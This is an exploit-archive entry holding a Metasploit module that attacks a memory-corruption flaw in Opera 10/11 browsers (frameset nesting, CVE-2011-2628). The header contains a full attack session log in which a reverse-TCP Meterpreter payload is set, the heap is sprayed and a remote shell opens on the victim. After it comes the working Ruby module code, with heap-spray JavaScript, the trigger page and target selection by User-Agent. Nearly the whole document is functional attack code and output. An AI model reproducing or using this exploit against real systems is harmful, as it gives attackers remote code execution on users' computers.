[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Opera 10/11 (bad nesting with frameset tag) Memory Corruption
# Published : 2011-10-06
# Author : Jose A. Vazquez
# Previous Title : ScriptFTP 3.3 Remote Buffer Overflow (MSF)
# Next Title : Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution


			
################################################################################################################ Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption## Vulnerability:## Discovered: 2010-08-18# Patched: 2011-05-18# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)#							v11.xx < v11.11 (v11.00, v11.01 and v11.10)# Patched on: v11.11## Exploit:## Coded: 2010-09-23# Last revision: 2011-09-30## RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63## Notes:##	1) DEP bypass: possible but unreliable.#	2) Let me know if you improve this one ;)#	3) Most of times, it won't work at first attempt and need crash-dialog interaction.## Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com## Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc## Running against Opera v10.62...###        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]# + -- --=[ 741 exploits - 378 auxiliary - 82 post# + -- --=[ 228 payloads - 27 encoders - 8 nops#        =[ svn r13801 updated 3 days ago (2011.09.27)## msf > use windows/browser/opera_frameset_tag# msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp# payload => windows/meterpreter/reverse_tcp# msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103# LHOST => 192.168.1.103# msf  exploit(opera_frameset_tag) > exploit# [*] Exploit running as background job.## [*] Started reverse handler on 192.168.1.103:4444# msf  exploit(opera_frameset_tag) ># [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS# [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS# [*] Server started.# [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))# [*] Sending stage 1 (Spraying the heap)# [*] Sending stage 2 (Triggering the vulnerability)# [*] Sending stage 2 (Triggering the vulnerability)# [*] Sending stage 2 (Triggering the vulnerability)# [*] Sending stage (752128 bytes) to 192.168.1.104# [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200# Interrupt: use the 'exit' command to quit# msf  exploit(opera_frameset_tag) > sessions## Active sessions# ===============##   Id  Type                   Information                              Connection#   --  ----                   -----------                              ----------#   1   meterpreter x86/win32  0XDE1-A39ED4C12/0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190## msf  exploit(opera_frameset_tag) > sessions -i 1# [*] Starting interaction with 1...## meterpreter > getuid# Server username: 0XDE1-A39ED4C12/0xde1# meterpreter > execute -f  calc.exe# Process 1336 created.# meterpreter > exit# [*] Shutting down Meterpreter...# msf  exploit(opera_frameset_tag) >#################################################################################################################require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = NormalRanking	include Msf::Exploit::Remote::HttpServer::HTML		def initialize(info = {})			super(update_info(info,			'Name'           => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',			'Description'    => %q{							This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within 				Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. 				Successfully exploiting leads to remote code execution or denial of service condition under Windows XP 				SP3 (DEP = off).								Note than most of cases, it won't work at first attempt and need crash-dialog interaction. 				Read the last reference for further details.							},			'License'        => MSF_LICENSE,			'Author'         =>				[					'Jose A. Vazquez'				],			'Version'        => '$Revision: 0011 $',			'References'     =>				[					['CVE', '2011-2628'],					['OSVDB', '72406'],					['BID', '47906'],					['URL', 'http://www.opera.com/support/kb/view/992/'],					['URL', 'http://www.beyondsecurity.com/ssd.html'],					['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],					['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']				],			'DefaultOptions' =>				{					'EXITFUNC'          => 'process',					'HTTP::compression' => 'gzip',					'HTTP::chunked'     => true				},			'Payload'        =>				{					'Space'    => 1000,					'BadChars' => "/x00",					'Compat'   =>						{							'ConnectionType' => '-find',						},					'StackAdjustment' => -3500				},			'Platform'       => 'win',			'Targets'        =>				[					# Automatic					[ 'Automatic',						{}					],										# Opera > v10.54 ~ spray of 350 MB					[ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)',  						{							'SizeofSpray' => 700,							'Ret' => 0x0c0c0c0c						}					],										# Opera <= v10.54 ~ spray of 250 MB					[ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)',  						{							'SizeofSpray' => 500,							'Ret' => 0x0c0c0c0c						}					],										# Opera < v10.50 doesn't get crashed with previous method and it needs this one.					[ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)',  						{							'SizeofSpray' => 500,							'Ret' => 0x0c0c0c0c						}					]				],			'DisclosureDate' => '5 October 2011',			'DefaultTarget'  => 0))				end		#I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection 		def automatic_target(cli, request)		thistarget = nil			agent = request.headers['User-Agent']		if agent =~ /Version//10/.00/ or agent =~ /Version//10/.01/ or agent =~ /Version//10/.10/ 			thistarget = targets[3]		elsif agent =~ /Version//10/.50/ or agent =~ /Version//10/.51/ or agent =~ /Version//10/.52/ or agent =~ /Version//10/.53/ or agent =~ /Version//10/.54/			thistarget = targets[2]		else			thistarget = targets[1]		end				thistarget			end		def on_request_uri(cli, request)			mytarget = target				if target.name == 'Automatic'			mytarget = automatic_target(cli, request)		end			if(request.uri =~ //.xhtml$/)					#Send file for trigger the vulnerability for cases > v10.10									html = %Q|					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">					<meta http-equiv="refresh" content="0;url=" />							<xht:frameset>							<xht:iframe>								<xht:script>								rbc								</xht:script>								<style type="text/css">									<!-- /* padding CSS */									approx:root{											font: 333em;									}									-->								</style>							</xht:iframe>						</xht:frameset>					</html>				|					#Send triggerer					print_status("Sending stage 2 (Triggering the vulnerability)")						var_contentype = 'application/xhtml+xml'					else						#Send payload + hide iframe for trigger the vuln					#Re-generate the payload					return if ((p = regenerate_payload(cli)) == nil)						#Encode the shellcode						shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))						#Ret						addr_word  = [mytarget.ret].pack('V').unpack('H*')[0][0,4]						#Randomize the javascript variable names						var_buffer    	= 	rand_text_alpha(rand(30)+2)			var_shellcode	= 	rand_text_alpha(rand(30)+2)			var_unescape  	= 	rand_text_alpha(rand(30)+2)			var_x         	= 	rand_text_alpha(rand(30)+2)			var_i         	= 	rand_text_alpha(rand(30)+2)			var_size      	= 	rand_text_alpha(rand(30)+2)			var_nopsize   	= 	rand_text_alpha(rand(30)+2)			var_limit     	= 	rand_text_alpha(rand(30)+2)						var_function_trigger 	= 	rand_text_alpha(rand(30)+2)			var_file_trigger	=	rand_text_alpha(rand(30)+2)						var_timer_trigger = (rand(3) + 2) * 1000						#Build the exploit						var_url =  ((datastore['SSL']) ? "https://" : "http://")			var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])			var_url << ":" + datastore['SRVPORT']			var_url << get_resource						#Sending init HTML			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")						if mytarget.name =~ /v10.00/						# Case v10.00 - v10.10							html = %Q|					<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">						<xht:frameset>							<xht:iframe>								<xht:script>									aaaaaa								</xht:script>							</xht:iframe>						</xht:frameset>						<script type="text/javascript">							<![CDATA[								var #{var_unescape}  = unescape;								var #{var_shellcode} = #{var_unescape}("#{shellcode}");								var #{var_size} = #{var_shellcode}.length * 2;								var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);								var #{var_buffer} = #{var_unescape}("%u#{addr_word}");																						while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {									#{var_buffer} += #{var_buffer};								}								var #{var_x} = new Array();																	for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {									#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};								}								setInterval("location.reload()", 500);							]]>						</script>					<html>					|							print_status("Sending simple stage (Sprayer and Triggerer)")				var_contentype = 'application/xhtml+xml'						else						# Case > v10.10							html = %Q|						<html>							<head>								<script type="text/javascript">									var #{var_unescape}  = unescape;									var #{var_shellcode} = #{var_unescape}("#{shellcode}");									var #{var_size} = #{var_shellcode}.length * 2;									var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);									var #{var_buffer} = #{var_unescape}("%u#{addr_word}");																						while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {										#{var_buffer} += #{var_buffer};									}									var #{var_x} = new Array();																		for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {										#{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};									}																		function #{var_function_trigger}(){										document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");									}																		setTimeout('#{var_function_trigger}()',#{var_timer_trigger});																	</script>							</head>						<html>					|										print_status("Sending stage 1 (Spraying the heap)")				var_contentype = 'text/html'							end						end			#Response		send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })		#Handle the payload					handler(cli)			end	end